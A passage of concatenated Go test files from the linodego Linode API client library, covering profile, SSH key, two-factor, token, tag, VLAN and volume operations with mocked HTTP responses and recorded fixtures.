TestSecurityQuestions_List(t *testing.T) { client := createMockClient(t) desiredResponse := linodego.SecurityQuestionsListResponse{ SecurityQuestions: []linodego.SecurityQuestion{ { ID: 1, Question: "Really cool question", Response: "uhhhh", }, }, } httpmock.RegisterRegexpResponder("GET", mockRequestURL(t, "/profile/security-questions"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse)) questions, err := client.SecurityQuestionsList(context.Background()) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*questions, desiredResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(questions, desiredResponse)) } } func TestSecurityQuestions_Answer(t *testing.T) { client := createMockClient(t) requestData := linodego.SecurityQuestionsAnswerOptions{ SecurityQuestions: []linodego.SecurityQuestionsAnswerQuestion{ { QuestionID: 1, Response: "cool", }, }, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/security-questions"), mockRequestBodyValidate(t, requestData, nil)) if err := client.SecurityQuestionsAnswer(context.Background(), requestData); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.28.0/test/integration/profile_sshkeys_test.go000066400000000000000000000073301455402072200275040ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" . "github.com/linode/linodego" ) var testSSHKeyCreateOpts = SSHKeyCreateOptions{ Label: label, SSHKey: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X " + label, } func TestSSHKey_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestSSHKey_GetMissing") defer teardown() notfoundID := 123 i, err := client.GetSSHKey(context.Background(), notfoundID) if err == nil { t.Errorf("should have received an error requesting a missing sshkey, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing sshkey, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing sshkey, got %v", e.Code) } } func TestSSHKey_GetFound(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKey_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetSSHKey(context.Background(), sshkey.ID) if err != nil { t.Errorf("Error getting sshkey, expected struct, got %v and error %v", i, err) } if i.ID != sshkey.ID { t.Errorf("Expected sshkey id %d, but got %d", i.ID, sshkey.ID) } if testSSHKeyCreateOpts.Label != sshkey.Label { t.Errorf("Expected sshkey label '%s', but got '%s'", testSSHKeyCreateOpts.Label, sshkey.Label) } if testSSHKeyCreateOpts.SSHKey != sshkey.SSHKey { t.Errorf("Expected sshkey sshkey, but got a different one") } assertDateSet(t, sshkey.Created) } func TestSSHKey_Update(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKey_Update") defer teardown() if err != nil { t.Error(err) } renamedLabel := sshkey.Label + "_r" updateOpts := SSHKeyUpdateOptions{ Label: renamedLabel, } sshkey, err = client.UpdateSSHKey(context.Background(), sshkey.ID, updateOpts) if err != nil { t.Errorf("Error renaming sshkey, %s", err) } if !strings.Contains(sshkey.Label, renamedLabel) { t.Errorf("sshkey returned does not match sshkey update request") } } func TestSSHKeys_List(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKeys_List") defer teardown() if err != nil { t.Error(err) } sshkeys, err := client.ListSSHKeys(context.Background(), nil) if err != nil { t.Errorf("Error listing sshkeys, expected struct, got error %v", err) } if len(sshkeys) == 0 { t.Errorf("Expected a list of sshkeys, but got %v", sshkeys) } notFound := true for i := range sshkeys { if sshkeys[i].Label == sshkey.Label { notFound = false if sshkeys[i].Created == nil { t.Errorf("Expected listed sshkeys to have parsed Created") } assertDateSet(t, sshkeys[i].Created) break } } if notFound { t.Errorf("Expected to find created sshkey, but '%s' was not found", sshkey.Label) } } func setupSSHKey(t *testing.T, fixturesYaml string) (*Client, *SSHKey, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := testSSHKeyCreateOpts sshkey, err := client.CreateSSHKey(context.Background(), createOpts) if err != nil { t.Errorf("Error listing sshkeys, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteSSHKey(context.Background(), sshkey.ID); err != nil { t.Errorf("Expected to delete a sshkey, but got %v", err) } fixtureTeardown() } return client, sshkey, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/profile_test.go000066400000000000000000000020011455402072200257210ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestProfile_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfile_Get") defer teardown() i, err := client.GetProfile(context.Background()) if err != nil { t.Errorf("Error getting profile: %s", err) } if len(i.Email) < 1 { t.Errorf("Expected profile email") } } func TestProfile_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfile_Update") defer teardown() profile, err := client.GetProfile(context.Background()) if err != nil { t.Errorf("Error getting profile: %s", err) } updateOpts := profile.GetUpdateOptions() if updateOpts.Email != profile.Email { t.Errorf("Expected matching Username from GetUpdateOptions, got: %v", updateOpts) } i, err := client.UpdateProfile(context.Background(), updateOpts) if err != nil { t.Errorf("Error updating profile: %s", err) } if i.Email != updateOpts.Email { t.Errorf("Expected profile email to be changed, but found %v", i) } } golang-github-linode-linodego-1.28.0/test/integration/profile_tfa_test.go000066400000000000000000000032301455402072200265600ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestTwoFactor_CreateSecret_smoke(t *testing.T) { client := createMockClient(t) expectedResponse := linodego.TwoFactorSecret{ Secret: "verysecureverysecureverysecure", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/tfa-enable"), httpmock.NewJsonResponderOrPanic(200, expectedResponse)) secret, err := client.CreateTwoFactorSecret(context.Background()) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*secret, expectedResponse) { t.Fatalf("returned value did not match expected response: %s", cmp.Diff(*secret, expectedResponse)) } } func TestTwoFactor_Disable(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/tfa-disable"), httpmock.NewStringResponder(200, "{}")) if err := client.DisableTwoFactor(context.Background()); err != nil { t.Fatal(err) } } func TestTwoFactor_Confirm(t *testing.T) { client := createMockClient(t) request := linodego.ConfirmTwoFactorOptions{TFACode: "reallycoolandlegittfacode"} response := linodego.ConfirmTwoFactorResponse{Scratch: "really cool scratch code"} httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/profile/tfa-enable-confirm"), mockRequestBodyValidate(t, request, response)) runResult, err := client.ConfirmTwoFactor(context.Background(), request) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*runResult, response) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(*runResult, response)) } } golang-github-linode-linodego-1.28.0/test/integration/profile_tokens_test.go000066400000000000000000000106141455402072200273150ustar00rootroot00000000000000package integration import ( "context" "testing" "time" . "github.com/linode/linodego" ) func TestToken_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestToken_GetMissing") defer teardown() doesNotExist := 123 i, err := client.GetToken(context.Background(), doesNotExist) if err == nil { t.Errorf("should have received an error requesting a missing token, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing token, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing token, got %v", e.Code) } } func TestToken_GetFound(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, token, teardown, err := setupProfileToken(t, "fixtures/TestToken_GetFound", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.GetToken(context.Background(), token.ID) if err != nil { t.Errorf("Error getting token, expected struct, got %v and error %v", i, err) } if i.ID != token.ID { t.Errorf("Expected a specific token, but got a different one %v", i) } assertDateSet(t, i.Created) updateOpts := i.GetUpdateOptions() if updateOpts.Label != i.Label { t.Errorf("Expected matching Label from GetUpdateOptions, got: %v", updateOpts) } createOpts := i.GetCreateOptions() if createOpts.Expiry == nil { t.Errorf("Expected non-nil Expiry from GetCreateOptions, got: %v", createOpts) } } func TestToken_GetNoExpiry(t *testing.T) { client, token, teardown, err := setupProfileToken(t, "fixtures/TestToken_GetNoExpiry", nil) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.GetToken(context.Background(), token.ID) if err != nil { t.Errorf("Error getting token, expected struct, got %v and error %v", i, err) } if i.ID != token.ID { t.Errorf("Expected a specific token, but got a different one %v", i) } createOpts := i.GetCreateOptions() if createOpts.Expiry != nil && createOpts.Expiry.Year() != 2999 { t.Errorf("Expected \"never\" expiring timestamp from GetCreateOptions, got: %v", createOpts) } } func TestTokens_Update(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, token, teardown, err := setupProfileToken(t, "fixtures/TestTokens_Update", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } createOpts := token.GetCreateOptions() if createOpts.Expiry == nil { t.Errorf("Expected non-nil Expiry from GetCreateOptions, got: %v", createOpts) } updateOpts := token.GetUpdateOptions() if updateOpts.Label != token.Label { t.Errorf("Expected matching Label from GetUpdateOptions, got: %v", updateOpts) } updateOpts.Label = updateOpts.Label + "_renamed" i, err := client.UpdateToken(context.Background(), token.ID, updateOpts) if err != nil { t.Errorf("Error updating token: %s", err) } if i.Label != updateOpts.Label { t.Errorf("Expected token label to be changed, but found %v", i) } } func TestTokens_List(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, _, teardown, err := setupProfileToken(t, "fixtures/TestTokens_List", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.ListTokens(context.Background(), nil) if err != nil { t.Errorf("Error listing tokens, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of tokens, but got none %v", i) } } func setupProfileToken(t *testing.T, fixturesYaml string, ttl *time.Time) (*Client, *Token, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) // This scope must be <= the scope used for testing limitedTestScope := "linodes:read_only" createOpts := TokenCreateOptions{ Label: "linodego-token-test", Expiry: ttl, Scopes: limitedTestScope, } token, err := client.CreateToken(context.Background(), createOpts) if err != nil { t.Fatalf("Error creating test Token: %s", err) } teardown := func() { if token != nil { if err := client.DeleteToken(context.Background(), token.ID); err != nil { t.Errorf("Error deleting test Token: %s", err) } } fixtureTeardown() } return client, token, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/regions_test.go000066400000000000000000000007611455402072200257420ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestRegions_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegions_List") defer teardown() testFunc := func(retryT *TRetry) { regions, err := client.ListRegions(context.Background(), nil) if err != nil { t.Errorf("Error listing regions, expected struct - error %v", err) } if len(regions) == 0 { t.Errorf("Expected a list of regions - %v", regions) } } retryStatement(t, 3, testFunc) } golang-github-linode-linodego-1.28.0/test/integration/regionsavailability_test.go000066400000000000000000000010571455402072200303340ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestRegionsAvailability_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegionsAvailability_List") defer teardown() testFunc := func(retryT *TRetry) { regions, err := client.ListRegionsAvailability(context.Background(), nil) if err != nil { t.Errorf("Error listing regions availability, expected struct - error %v", err) } if len(regions) == 0 { t.Errorf("Expected a list of regions availability - %v", regions) } } retryStatement(t, 3, testFunc) } golang-github-linode-linodego-1.28.0/test/integration/stackscripts_test.go000066400000000000000000000010431455402072200270030ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestStackscripts_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestStackscripts_List") defer teardown() filterOpt := linodego.NewListOptions(1, "") stackscripts, err := client.ListStackscripts(context.Background(), filterOpt) if err != nil { t.Errorf("Error listing stackscripts, expected struct - error %v", err) } if len(stackscripts) == 0 { t.Errorf("Expected a list of public stackscripts - %v", stackscripts) } } golang-github-linode-linodego-1.28.0/test/integration/tags_test.go000066400000000000000000000065141455402072200252340ustar00rootroot00000000000000package integration import ( "context" "testing" . "github.com/linode/linodego" ) func TestTag_Create_create(t *testing.T) { client, instance, teardown, err := setupTaggedInstance(t, "fixtures/TestTag_Create") defer teardown() if err != nil { t.Errorf("Error creating test Instance: %s", err) } if instance.Tags[0] != "go-tag-test" { t.Errorf("should have created a tagged instance, got %v", instance.Tags) } updateOpts := instance.GetUpdateOptions() if updateOpts.Tags == nil { updateOpts.Tags = new([]string) } newTags := append(*updateOpts.Tags, "go-tag-test-bar") updateOpts.Tags = &newTags updateOpts.Backups = nil instance, err = client.UpdateInstance(context.Background(), instance.ID, updateOpts) if err != nil { t.Errorf("should have updated instance tags, got %q", err) } tag, err := client.CreateTag(context.Background(), TagCreateOptions{Label: "go-tag-test-foo", Linodes: []int{instance.ID}}) if err != nil { t.Errorf("should have created a tag, got %q", err) } tags, err := client.ListTags(context.Background(), nil) if err != nil { t.Errorf("should have listed tags, got %q", err) } found := false for _, t := range tags { if t.Label == tag.Label { found = true break } } if !found { t.Errorf("should have found created tag, %q", tag.Label) } x, err := client.ListTaggedObjects(context.Background(), "go-tag-test", nil) if err != nil { t.Errorf("should have listed tagged objects, got %q", err) } if len(x) == 0 || x[0].Type != "linode" || x[0].Data.(Instance).ID != instance.ID { t.Errorf("should have found instance in tagged objects list, got %v", x) } so, err := x.SortedObjects() if err != nil { t.Errorf("should have sorted tagged objects list, got %q", err) } if len(so.Instances) == 0 || so.Instances[0].ID != instance.ID { t.Errorf("should have found instance in sorted tagged objects list, got %v", so) } for _, tag := range []string{"go-tag-test", "go-tag-test-foo", "go-tag-test-bar"} { if err := client.DeleteTag(context.Background(), tag); err != nil { t.Error(err) } } } func TestTag_ListTaggedObjects_Missing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTag_ListTaggedObjects_Missing") defer teardown() i, err := client.ListTaggedObjects(context.Background(), "does-not-exist", nil) if err == nil { t.Errorf("should have received an error requesting a missing tag, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing tag, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing tag, got %v", e.Code) } } func setupTaggedInstance(t *testing.T, fixturesYaml string) (*Client, *Instance, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := InstanceCreateOptions{ Label: "go-ins-test-tag", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Tags: []string{"go-tag-test"}, } instance, err := client.CreateInstance(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test Instance: %s", err) } teardown := func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Errorf("Error deleting test Instance: %s", err) } fixtureTeardown() } return client, instance, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/test_retry.go000066400000000000000000000042351455402072200254410ustar00rootroot00000000000000package integration import ( "fmt" "runtime" "testing" ) func retryStatement(t *testing.T, maxAttempts int, f func(t *TRetry)) { for i := 0; i < maxAttempts; i++ { newT := NewTRetry(t) t.Cleanup(newT.Close) go func() { f(newT) newT.SuccessChannel <- true }() select { case err := <-newT.ErrorChannel: t.Logf("Retrying on test failure: %s\n", err) case <-newT.SuccessChannel: return } } t.Fatalf("Test failed after %d attempts", maxAttempts) } // TRetry implements testing.T with additional retry logic type TRetry struct { t *testing.T ErrorChannel chan error SuccessChannel chan bool } func NewTRetry(t *testing.T) *TRetry { t.Helper() return &TRetry{ t: t, ErrorChannel: make(chan error), SuccessChannel: make(chan bool), } } func (t *TRetry) Close() { close(t.ErrorChannel) close(t.SuccessChannel) } func (t *TRetry) Cleanup(f func()) { t.t.Cleanup(f) } func (t *TRetry) Error(args ...any) { t.ErrorChannel <- fmt.Errorf(fmt.Sprint(args...)) } func (t *TRetry) Errorf(format string, args ...any) { t.ErrorChannel <- fmt.Errorf(format, args...) } func (t *TRetry) Fail() { runtime.Goexit() } func (t *TRetry) Failed() bool { // We wrap this logic using channels return false } func (t *TRetry) Fatal(args ...any) { t.ErrorChannel <- fmt.Errorf(fmt.Sprint(fmt.Sprint(args...))) t.Fail() } func (t *TRetry) Fatalf(format string, args ...any) { t.ErrorChannel <- fmt.Errorf(format, args...) t.Fail() } func (t *TRetry) Helper() { t.t.Helper() } func (t *TRetry) Log(args ...any) { t.t.Log(args...) } func (t *TRetry) Logf(format string, args ...any) { t.t.Logf(format, args...) } func (t *TRetry) Name() string { return t.t.Name() } func (t *TRetry) Setenv(key, value string) { t.t.Setenv(key, value) } func (t *TRetry) Skip(args ...any) { t.t.Skip(args...) } func (t *TRetry) SkipNow() { t.t.SkipNow() } func (t *TRetry) Skipf(format string, args ...any) { t.t.Skipf(format, args...) } func (t *TRetry) Skipped() bool { return t.t.Skipped() } func (t *TRetry) TempDir() string { return t.t.TempDir() } func (t *TRetry) FailNow() { t.Fail() } func (t *TRetry) Parallel() { t.t.Parallel() } golang-github-linode-linodego-1.28.0/test/integration/types_test.go000066400000000000000000000046771455402072200254520ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestType_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestType_GetMissing") defer teardown() i, err := client.GetType(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing image, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing image, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing image, got %v", e.Code) } } func TestType_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestType_GetFound") defer teardown() i, err := client.GetType(context.Background(), "g6-standard-1") if err != nil { t.Errorf("Error getting image, expected struct, got %v and error %v", i, err) } if i.ID != "g6-standard-1" { t.Errorf("Expected a specific image, but got a different one %v", i) } } func TestTypes_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTypes_List") defer teardown() i, err := client.ListTypes(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of images, but got none %v", i) } } func TestTypes_RegionSpecific(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTypes_RegionSpecific") defer teardown() validateOverride := func(override linodego.LinodeRegionPrice) { if override.ID == "" { t.Fatal("Expected region; got nil") } if override.Monthly <= 0 { t.Fatalf("Expected monthly cost; got %f", override.Monthly) } if override.Hourly <= 0 { t.Fatalf("Expected hourly cost; got %f", override.Hourly) } } types, err := client.ListTypes(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } var targetType *linodego.LinodeType for _, t := range types { if t.RegionPrices != nil && len(t.RegionPrices) > 0 && t.RegionPrices[0].Hourly > 0 { targetType = &t break } } if targetType == nil { t.Fatal("expected type with region override, got none") } // Validate overrides for _, override := range targetType.RegionPrices { validateOverride(override) } for _, override := range targetType.Addons.Backups.RegionPrices { validateOverride(override) } } golang-github-linode-linodego-1.28.0/test/integration/util_test.go000066400000000000000000000033151455402072200252470ustar00rootroot00000000000000package integration import ( "encoding/json" "fmt" "io" "net/http" "reflect" "regexp" "strconv" "strings" "testing" "time" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" ) func assertDateSet(t *testing.T, compared *time.Time) { emptyTime := time.Time{} if compared == nil || *compared == emptyTime { t.Errorf("Expected date to be set, got %v", compared) } } func mockRequestBodyValidate(t *testing.T, expected interface{}, response interface{}) httpmock.Responder { return func(request *http.Request) (*http.Response, error) { eType := reflect.TypeOf(expected) result := reflect.New(eType) i := result.Interface() data, err := io.ReadAll(request.Body) if err != nil { t.Fatal(err) } if err := json.Unmarshal(data, &i); err != nil { t.Fatal(err) } // Deref the pointer if necessary if result.Kind() == reflect.Pointer { result = result.Elem() } resultValue := result.Interface() if !reflect.DeepEqual(expected, resultValue) { t.Fatalf("request body does not match request options: %s", cmp.Diff(expected, resultValue)) } return httpmock.NewJsonResponse(200, response) } } func mockRequestURL(t *testing.T, path string) *regexp.Regexp { return regexp.MustCompile(fmt.Sprintf("/[a-zA-Z0-9]+/%s", strings.TrimPrefix(path, "/"))) } func assertSliceContains[T comparable](t *testing.T, slice []T, target T) { for _, v := range slice { if v == target { return } } t.Fatalf("value %v not found in slice", target) } func minInt(a, b int) int { if a < b { return a } return b } // return the current nanosecond in string type as a unique text. func getUniqueText() string { return strconv.FormatInt(time.Now().UnixNano(), 10) } golang-github-linode-linodego-1.28.0/test/integration/vlans_test.go000066400000000000000000000056721455402072200254250ustar00rootroot00000000000000package integration import ( "context" "fmt" "regexp" "testing" "github.com/linode/linodego" ) func TestVLANs_List(t *testing.T) { vlanName := "go-vlan-test-list" instancePrefix := "go-ins-test-list" client, fixturesTeardown := createTestClient(t, "fixtures/TestVLANs_List") defer fixturesTeardown() var instances []*linodego.Instance for i := 0; i < 2; i++ { instance, instanceTeardown, err := createVLANInstance(t, client, fmt.Sprintf("%s-%d", instancePrefix, i), vlanName) if err != nil { t.Fatal(err) } defer instanceTeardown() instances = append(instances, instance) } for _, instance := range instances { if _, err := client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceRunning, 240); err != nil { t.Error(err) } } vlans, err := client.ListVLANs(context.TODO(), &linodego.ListOptions{ Filter: fmt.Sprintf("{\"label\": \"%s\"}", vlanName), }) if err != nil { t.Error(err) } if len(vlans) < 1 { t.Error("expected list of vlans but got none") } for _, instance := range instances { if !vlanHasLinodeID(&vlans[0], instance.ID) { t.Errorf("instance %d not found in vlan", instance.ID) } } } func TestVLANs_GetIPAMAddress(t *testing.T) { vlanName := "go-vlan-test-ipam" instancePrefix := "go-ins-test-ipam" client, fixturesTeardown := createTestClient(t, "fixtures/TestVLANs_GetIPAMAddress") defer fixturesTeardown() instance, instanceTeardown, err := createVLANInstance(t, client, instancePrefix, vlanName) if err != nil { t.Fatal(err) } defer instanceTeardown() _, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceRunning, 240) if err != nil { t.Error(err) } ipam, err := client.GetVLANIPAMAddress(context.Background(), instance.ID, vlanName) if err != nil { t.Error(err) } r, _ := regexp.Compile(`^(?:[0-9]{1,3}\.){3}[0-9]{1,3}/[0-9]{2}`) if !r.MatchString(ipam) { t.Errorf("Result does not match regular expression: %s", ipam) } } func createVLANInstance(t *testing.T, client *linodego.Client, instanceName, vlanName string) (*linodego.Instance, func(), error) { t.Helper() trueBool := true instance, err := createInstance(t, client, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Interfaces = []linodego.InstanceConfigInterfaceCreateOptions{ { Label: vlanName, Purpose: linodego.InterfacePurposeVLAN, IPAMAddress: "10.0.0.1/24", }, } opts.Booted = &trueBool opts.Label = instanceName opts.Region = getRegionsWithCaps(t, client, []string{"Vlans"})[0] }) if err != nil { return nil, nil, err } teardown := func() { if terr := client.DeleteInstance(context.Background(), instance.ID); terr != nil { t.Errorf("Error deleting test Instance: %s", terr) } } return instance, teardown, err } func vlanHasLinodeID(vlan *linodego.VLAN, linodeID int) bool { for _, id := range vlan.Linodes { if id == linodeID { return true } } return false } golang-github-linode-linodego-1.28.0/test/integration/volumes_test.go000066400000000000000000000137671455402072200260000ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/linode/linodego" ) func TestVolume_Create_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVolume_Create") defer teardown() createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-create", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if err := client.DeleteVolume(context.Background(), volume.ID); err != nil { t.Errorf("Expected to delete a volume, but got %v", err) } } func TestVolume_Resize(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_Resize") defer teardown() if err != nil { t.Errorf("Error setting up volume test, %s", err) } _, err = client.WaitForVolumeStatus(context.Background(), volume.ID, linodego.VolumeActive, 500) if err != nil { t.Errorf("Error waiting for volume to be active, %s", err) } if err := client.ResizeVolume(context.Background(), volume.ID, volume.Size+1); err != nil { t.Errorf("Error resizing volume, %s", err) } } func TestVolumes_List_smoke(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_List") defer teardown() volumes, err := client.ListVolumes(context.Background(), nil) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } found := false for _, v := range volumes { if v.ID == volume.ID { found = true } } if !found { t.Errorf("%d volume not found in list", volume.ID) } } func TestVolume_Get(t *testing.T) { client, volume, teardownVolume, errVolume := setupVolume(t, "fixtures/TestVolume_Get") defer teardownVolume() if errVolume != nil { t.Error(errVolume) } _, err := client.GetVolume(context.Background(), volume.ID) if err != nil { t.Errorf("Error getting volume %d, expected *LinodeVolume, got error %v", volume.ID, err) } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) } func TestVolume_WaitForLinodeID_nil(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_WaitForLinodeID_nil") defer teardown() if err != nil { t.Errorf("Error setting up volume test, %s", err) } _, err = client.WaitForVolumeLinodeID(context.Background(), volume.ID, nil, 20) if err != nil { t.Errorf("Error getting volume %d, expected *LinodeVolume, got error %v", volume.ID, err) } } func TestVolume_WaitForLinodeID(t *testing.T) { client, instance, teardownInstance, errInstance := setupInstance(t, "fixtures/TestVolume_WaitForLinodeID_linode") if errInstance != nil { t.Errorf("Error setting up instance for volume test, %s", errInstance) } defer teardownInstance() createConfigOpts := linodego.InstanceConfigCreateOptions{ Label: "go-config-test-wait", Devices: linodego.InstanceConfigDeviceMap{}, } config, errConfig := client.CreateInstanceConfig(context.Background(), instance.ID, createConfigOpts) if errConfig != nil { t.Errorf("Error setting up instance config for volume test, %s", errConfig) } client, volume, teardownVolume, errVolume := setupVolume(t, "fixtures/TestVolume_WaitForLinodeID_volume") if errVolume != nil { t.Errorf("Error setting up volume test, %s", errVolume) } defer teardownVolume() attachOptions := linodego.VolumeAttachOptions{LinodeID: instance.ID, ConfigID: config.ID} if volumeAttached, err := client.AttachVolume(context.Background(), volume.ID, &attachOptions); err != nil { t.Errorf("Error attaching volume, %s", err) } else if volumeAttached.LinodeID == nil { t.Errorf("Could not attach test volume to test instance") } _, errWait := client.WaitForVolumeLinodeID(context.Background(), volume.ID, nil, 20) if errWait == nil { t.Errorf("Expected to timeout waiting for nil LinodeID on volume %d : %s", volume.ID, errWait) } client, teardownWait := createTestClient(t, "fixtures/TestVolume_WaitForLinodeID_waiting") defer teardownWait() _, errWait = client.WaitForVolumeLinodeID(context.Background(), volume.ID, &instance.ID, 20) if errWait != nil { t.Errorf("Error waiting for volume %d to attach to instance %d: %s", volume.ID, instance.ID, errWait) } } func TestVolume_Update(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_Update") if err != nil { t.Errorf("Error setting up volume test, %s", err) } defer teardown() updatedLabel := volume.Label + "-updated" updateOpts := linodego.VolumeUpdateOptions{ Label: updatedLabel, } volume, err = client.UpdateVolume(context.Background(), volume.ID, updateOpts) if err != nil { t.Errorf("Error updating volume, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } if volume.Label != updatedLabel { t.Errorf("Expected volume label to be equal to updated volume label") } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) } func setupVolume(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Volume, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-def", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error creating volume, got error %v", err) } teardown := func() { // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if terr := client.DeleteVolume(context.Background(), volume.ID); terr != nil { t.Errorf("Expected to delete a volume, but got %v", terr) } fixtureTeardown() } return client, volume, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/vpc_subnet_test.go000066400000000000000000000203321455402072200264400ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) const ( TestSubnet = "192.168.0.0/25" ) func formatVPCSubnetError(err error, action string, vpcID, vpcSubnetID *int) error { if err == nil { return nil } vpcMsg := "" if vpcID != nil { vpcMsg = fmt.Sprintf(" in VPC %v", *vpcID) } if vpcSubnetID == nil { return fmt.Errorf( "an error occurs when %v the subnet(s)%v: %v", action, vpcMsg, err, ) } return fmt.Errorf( "an error occurs when 